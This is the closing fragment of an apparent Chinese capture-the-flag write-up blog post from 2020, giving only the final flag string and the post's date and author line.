至此最终的flag为:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

posted @ 2020-09-24 23:59  Ycdtbest  阅读(446)  评论(0编辑  收藏  举报